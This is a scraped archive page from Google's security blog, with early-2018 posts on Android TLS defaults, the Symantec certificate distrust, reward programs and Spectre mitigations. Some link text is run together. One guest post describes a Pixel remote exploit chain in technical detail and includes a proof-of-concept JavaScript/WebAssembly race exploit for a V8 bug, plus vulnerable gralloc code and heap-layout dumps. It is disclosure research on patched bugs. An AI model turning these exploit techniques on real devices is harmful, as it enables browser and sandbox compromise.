Google Online Security Blog

Leveraging AI to protect our users and the web

2018年4月20日

Posted by Elie Bursztein, Anti-Abuse Research Lead - Ian Goodfellow, Adversarial Machine Learning Research Leadfirst talksecond talkre-recordingthe slidesslides

DNS over TLS support in Android P Developer Preview

2018年4月17日

Posted by Erik Kline, Android software engineer, and Ben Schwartz, Jigsaw software engineer[Cross-posted from the Android Developers Blog]DNSIETFRFC 7858DNS over TLS in P

community-maintained listLinkProperties.isPrivateDnsActive()

Protecting users with TLS by default in Android P

2018年4月12日

Posted by Chad Brubaker, Senior Software Engineer Android Security[Cross-posted from the Android Developers Blog]announcedandroid:usesCleartextTrafficNetwork Security ConfigHow do I update my app?
Why should I use TLS?
blog postDeveloper Summit talkIsn't TLS slow?
No, it's not.How do I use TLS in my app?
SSLSocketFactorySocketFactorySSLSocketgetDefaultHostnameVerifier()HostnameVerifier.verify()I need to use cleartext traffic to
network security configAllow cleartext connections to a specific domain
<network-security-config> <domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">insecure.example.com</domain> <domain includeSubdomains="true">insecure.cdn.example.com</domain> </domain-config> </network-security-config>Allow connections to arbitrary insecure domains
<network-security-config> <domain-config cleartextTrafficPermitted="false"> <domain includeSubdomains="true">example.com</domain> <domain includeSubdomains="true">cdn.example2.com</domain> </domain-config> <base-config cleartextTrafficPermitted="true" /> </network-security-config>
How do I update my library?isCleartextTrafficPermitted

Android Security 2017 Year in Review

2018年3月15日

Posted by Dave Kleidermacher, Vice President of Security for Android, Play, ChromeOSg.co/AndroidSecurityReport2017
Google Play Protectannounced

Protecting users' devices Play Protect automatically checks Android devices for PHAs at least once every day, and users can conduct an additional review at any time for some extra peace of mind. These automatic reviews enabled us to remove nearly 39 million PHAs last year.
We also update Play Protect to respond to trends that we detect across the ecosystem. For instance, we recognized that nearly 35% of new PHA installations were occurring when a device was offline or had lost network connectivity. As a result, in October 2017, we enabled offline scanning in Play Protect, and have since prevented 10 million more PHA installs.

Preventing PHA downloads Devices that downloaded apps exclusively from Google Play were nine times less likely to get a PHA than devices that downloaded apps from other sources. And these security protections continue to improve, partially because of Play Protect’s increased visibility into newly submitted apps to Play. It reviewed 65% more Play apps compared to 2016.
Play Protect also doesn’t just secure Google Play—it helps protect the broader Android ecosystem as well. Thanks in large part to Play Protect, the installation rates of PHAs from outside of Google Play dropped by more than 60%.

Security updates

While Google Play Protect is a great shield against harmful PHAs, we also partner with device manufacturers to make sure that the version of Android running on users' devices is up-to-date and secure.
Throughout the year, we worked to improve the process for releasing security updates, and 30% more devices received security patches than in 2016. Furthermore, no critical security vulnerabilities affecting the Android platform were publicly disclosed without an update or mitigation available for Android devices. This was possible due to the Android Security Rewards Program, enhanced collaboration with the security researcher community, coordination with industry partners, and built-in security features of the Android platform.

New security features in Android Oreo

We introduced a slew of new security features in Android Oreo: making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, and more.
We highlighted many of these over the course of the year, but some may have flown under the radar. For example, we updated the overlay API so that apps can no longer block the entire screen and prevent you from dismissing them, a common tactic employed by ransomware.

Openness makes Android security stronger

We’ve long said it, but it remains truer than ever: Android’s openness helps strengthen our security protections. For years, the Android ecosystem has benefitted from researchers’ findings, and 2017 was no different.
Security reward programs We continued to see great momentum with our Android Security Rewards program: we paid researchers $1.28 million dollars, pushing our total rewards past $2 million dollars since the program began. We also increased our top-line payouts for exploits that compromise TrustZone or Verified Boot from $50,000 to $200,000, and remote kernel exploits from $30,000 to $150,000.
In parallel, we introduced Google Play Security Rewards Program and offered a bonus bounty to developers that discover and disclose select critical vulnerabilities in apps hosted on Play to their developers.
External security competitions Our teams also participated in external vulnerability discovery and disclosure competitions, such as Mobile Pwn2Own. At the 2017 Mobile Pwn2Own competition, no exploits successfully compromised the Google Pixel. And of the exploits demonstrated against devices running Android, none could be reproduced on a device running unmodified Android source code from the Android Open Source Project (AOSP).

We’re pleased to see the positive momentum behind Android security, and we’ll continue our work to improve our protections this year, and beyond. We will never stop our work to ensure the security of Android users.

Distrust of the Symantec PKI: Immediate action needed by site operators

2018年3月7日

Posted by Devon O’Brien, Ryan Sleevi, Emily Stark, Chrome security teamUpdate October 17, 2018: Chrome 70 has now been released to the Stable Channel, and users will start to see full screen interstitials on sites which still use certificates issues by the Legacy Symantec PKI. Initially this change will reach a small percentage of users, and then slowly scale up to 100% over the next several weeks.
Site Operators receiving problem reports from users are strongly encouraged to take corrective action by replacing their website certificates as soon as possible. Instructions on how to determine whether your site is affected as well as what corrective action is needed can be found below.previously announced
Chrome 66
Chrome Canarytrusted CA

An example of a certificate error that Chrome 66 users might see if you are using a Legacy Symantec SSL/TLS certificate that was issued before June 1, 2016.

The DevTools message you will see if you need to replace your certificate before Chrome 66.

Chrome 66 has already been released to the Canary and Dev channels, meaning affected sites are already impacting users of these Chrome channels. If affected sites do not replace their certificates by March 15, 2018, Chrome Beta users will begin experiencing the failures as well. You are strongly encouraged to replace your certificate as soon as possible if your site is currently showing an error in Chrome Canary.

Chrome 70

Starting in Chrome 70, all remaining Symantec SSL/TLS certificates will stop working, resulting in a certificate error like the one shown above. To check if your certificate will be affected, visit your site in Chrome today and open up DevTools. You’ll see a message in the console telling you if you need to replace your certificate.

The DevTools message you will see if you need to replace your certificate before Chrome 70.

If you see this message in DevTools, you’ll want to replace your certificate as soon as possible. If the certificates are not replaced, users will begin seeing certificate errors on your site as early as July 20, 2018. The first Chrome 70 Beta release will be around September 13, 2018.

Expected Chrome Release Timeline

The table below shows the First Canary, First Beta and Stable Release for Chrome 66 and 70. The first impact from a given release will coincide with the First Canary, reaching a steadily widening audience as the release hits Beta and then ultimately Stable. Site operators are strongly encouraged to make the necessary changes to their sites before the First Canary release for Chrome 66 and 70, and no later than the corresponding Beta release dates.

Release	First Canary	First Beta	Stable Release
Chrome 66	January 20, 2018	~ March 15, 2018	~ April 17, 2018
Chrome 70	~ July 20, 2018	~ September 13, 2018	~ October 16, 2018

For information about the release timeline for a particular version of Chrome, you can also refer to the Chromium Development Calendar which will be updated should release schedules change.

In order to address the needs of certain enterprise users, Chrome will also implement an Enterprise Policy that allows disabling the Legacy Symantec PKI distrust starting with Chrome 66. As of January 1, 2019, this policy will no longer be available and the Legacy Symantec PKI will be distrusted for all users. See this Enterprise Help Center article for more information.

Special Mention: Chrome 65

As noted in the previous announcement, SSL/TLS certificates from the Legacy Symantec PKI issued after December 1, 2017 are no longer trusted. This should not affect most site operators, as it requires entering in to special agreement with DigiCert to obtain such certificates. Accessing a site serving such a certificate will fail and the request will be blocked as of Chrome 65. To avoid such errors, ensure that such certificates are only served to legacy devices and not to browsers such as Chrome.

A secure web is here to stay

2018年2月8日

Posted by Emily Schechter, Chrome Security Product Managergraduallymarking

In Chrome 68, the omnibox will display “Not secure” for all HTTP pages.Progress last year

Over 68% of Chrome traffic on both Android and Windows is now protected

Over 78% of Chrome traffic on both Chrome OS and Mac is now protected

81 of the top 100 sites on the web use HTTPS by default

now availablelatest Node CLI Lighthouse

Lighthouse is an automated developer tool for improving web pages.easier and cheaperset-up guides

Vulnerability Reward Program: 2017 Year in Review

2018年2月7日

Posted by Jan Keller, Google VRP Technical Pwning Master2014201520162017, By the Numbers

Vulnerability Research Grants ProgramPatch Rewards ProgramA few bug highlights

In August, researcher Guang Gong outlined an exploit chain on Pixel phones which combined a remote code execution bug in the sandboxed Chrome render process with a subsequent sandbox escape through Android’s libgralloc. As part of the Android Security Rewards Program he received the largest reward of the year: $112,500. The Pixel was the only device that wasn’t exploited during last year’s annual Mobile pwn2own competition, and Guang’s report helped strengthen its protections even further.

Researcher "gzobqq" received the $100,000 pwnium award for a chain of bugs across five components that achieved remote code execution in Chrome OS guest mode.

Alex Birsan discovered that anyone could have gained access to internal Google Issue Tracker data. He detailed his research here, and we awarded him $15,600 for his efforts.

Making Android and Play even safer
Over the course of the year, we continued to develop our Android and Play Security Reward programs.
No one had claimed the top reward for an Android exploit chain in more than two years, so we announced that the greatest reward for a remote exploit chain--or exploit leading to TrustZone or Verified Boot compromise--would increase from $50,000 to $200,000. We also increased the top-end reward for a remote kernel exploit from $30,000 to $150,000.

In October, we introduced the by-invitation-only Google Play Security Reward Program to encourage security research into popular Android apps available on Google Play.

Today, we’re expanding the range of rewards for remote code executions from $1,000 to $5,000. We’re also introducing a new category that includes vulnerabilities that could result in the theft of users’ private data, information being transferred unencrypted, or bugs that result in access to protected app components. We’ll award $1,000 for these bugs. For more information visit the Google Play Security Reward Program site.

And finally, we want to give a shout out to the researchers who’ve submitted fuzzers to the Chrome Fuzzer Program: they get rewards for every eligible bug their fuzzers find without having to do any more work, or even filing a bug.

Given how well things have been going these past years, we look forward to our Vulnerability Rewards Programs resulting in even more user protection in 2018 thanks to the hard work of the security research community.
* Andrew Whalley (Chrome VRP), Mayank Jain (Android Security Rewards), and Renu Chaudhary (Google Play VRP) contributed mightily to help lead these Google-wide efforts.

Announcing turndown of the deprecated Google Safe Browsing APIs

2018年1月24日

Posted by Alex Wozniak, Software Engineer, Safe Browsing TeamintroducedGoogle Safe Browsing API (v4)3 billion devicesGitHubSafetyNet Safe Browsing APIGetting startedSafe Browsing Google Groupour website

Android Security Ecosystem Investments Pay Dividends for Pixel

2018年1月17日

Posted by Mayank Jain and Scott Roberts, Android security team[Cross-posted from the Android Developers Blog]increased the top payoutsAndroid Security Rewards@oldfresherChrome Rewards programDecember 2017 monthly security update.A/B (seamless) system updatesresearcher communityProgram rulesBug Hunter UniversityThe following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd. Technical details of a Pixel remote exploit chain2017 Mobile Pwn2OwnCVE-2017-5116 The RCE bug (CVE-2017-5116)V8 6.0SharedArrayBufferWebAssemblyGetFirstArgumentAsBytesi::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { ...... } else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); } ...... return i::wasm::ModuleWireBytes(start, start + length); } <html> <h1>poc</h1> <script id="worker1"> worker:{ self.onmessage = function(arg) { console.log("worker started"); var ta = new Uint8Array(arg.data); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //--->4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ sta[51]=0; var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code var myInstance = new WebAssembly.Instance(myModule); //myInstance.exports.getAnswerPlus1(); }catch(e){ } } },1000); //worker.terminate(); </script> </html> 00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end TOCTOU (func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 )) /*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcx*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code --- /*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> /* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11 The EoP Bug (CVE-2017-14904)gralloc_mapgralloc_unmapstatic int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle) { …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else { err = -EACCES; } …… return err; } static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; } 52neverallow isolated_app { 53 service_manager_type 54 -activity_service 55 -display_service 56 -webviewupdate_service 57}:service_manager find; A Way of Breaking Chrome's Sandbox in AndroidBitunmap7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ...... 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) GraphicBuffertypedef struct android_native_base_t { /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved[4]; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base); } android_native_base_t; SummaryDecember 2017 Security Update .com { color: #32CD32; font-weight: bold; }

More details about mitigations for the CPU Speculative Execution issue

2018年1月4日

Posted by Matt Linton, Senior Security Engineer and Pat Parseghian, Technical Program Managerdetailed technical informationRetpolineSpeculative Execution and the Three Methods of Attack
post

Variant 1 (CVE-2017-5753), “bounds check bypass.” This vulnerability affects specific sequences within compiled applications, which must be addressed on a per-binary basis.

Variant 2 (CVE-2017-5715), “branch target injection”. This variant may either be fixed by a CPU microcode update from the CPU vendor, or by applying a software mitigation technique called “Retpoline” to binaries where concern about information leakage is present. This mitigation may be applied to the operating system kernel, system programs and libraries, and individual software programs, as needed.

Variant 3 (CVE-2017-5754), “rogue data cache load.” This may require patching the system’s operating system. For Linux there is a patchset called KPTI (Kernel Page Table Isolation) that helps mitigate Variant 3. Other operating systems may implement similar protections - check with your vendor for specifics.

Summary	Mitigation
Variant 1: bounds check bypass (CVE-2017-5753)
This attack variant allows malicious code to circumvent bounds checking features built into most binaries. Even though the bounds checks will still fail, the CPU will speculatively execute instructions after the bounds checks, which can access memory that the code could not normally access. When the CPU determines the bounds check has failed, it discards any work that was done speculatively; however, some changes to the system can be still observed (in particular, changes to the state of the CPU caches). The malicious code can detect these changes and read the data that was speculatively accessed. The primary ramification of Variant 1 is that it is difficult for a system to run untrusted code within a process and restrict what memory within the process the untrusted code can access. In the kernel, this has implications for systems such as the extended Berkeley Packet Filter (eBPF) that takes packet filterers from user space code, just-in-time (JIT) compiles the packet filter code, and runs the packet filter within the context of kernel. The JIT compiler uses bounds checking to limit the memory the packet filter can access, however, Variant 1 allows an attacker to use speculation to circumvent these limitations.	Mitigation requires analysis and recompilation so that vulnerable binary code is not emitted. Examples of targets which may require patching include the operating system and applications which execute untrusted code.
Variant 2: branch target injection (CVE-2017-5715)
This attack variant uses the ability of one process to influence the speculative execution behavior of code in another security context (i.e., guest/host mode, CPU ring, or process) running on the same physical CPU core. Modern processors predict the destination for indirect jumps and calls that a program may take and start speculatively executing code at the predicted location. The tables used to drive prediction are shared between processes running on a physical CPU core, and it is possible for one process to pollute the branch prediction tables to influence the branch prediction of another process or kernel code. In this way, an attacker can cause speculative execution of any mapped code in another process, in the hypervisor, or in the kernel, and potentially read data from the other protection domain using techniques like Variant 1. This variant is difficult to use, but has great potential power as it crosses arbitrary protection domains.	Mitigating this attack variant requires either installing and enabling a CPU microcode update from the CPU vendor (e.g., Intel's IBRS microcode), or applying a software mitigation (e.g., Google's Retpoline) to the hypervisor, operating system kernel, system programs and libraries, and user applications.
Variant 3: rogue data cache load (CVE-2017-5754)
This attack variant allows a user mode process to access virtual memory as if the process was in kernel mode. On some processors, the speculative execution of code can access memory that is not typically visible to the current execution mode of the processor; i.e., a user mode program may speculatively access memory as if it were running in kernel mode. Using the techniques of Variant 1, a process can observe the memory that was accessed speculatively. On most operating systems today, the page table that a process uses includes access to most physical memory on the system, however access to such memory is limited to when the process is running in kernel mode. Variant 3 enables access to such memory even in user mode, violating the protections of the hardware.	Mitigating this attack variant requires patching the operating system. For Linux, the patchset that mitigates Variant 3 is called Kernel Page Table Isolation (KPTI). Other operating systems/providers should implement similar mitigations.

Mitigations for Google products
here

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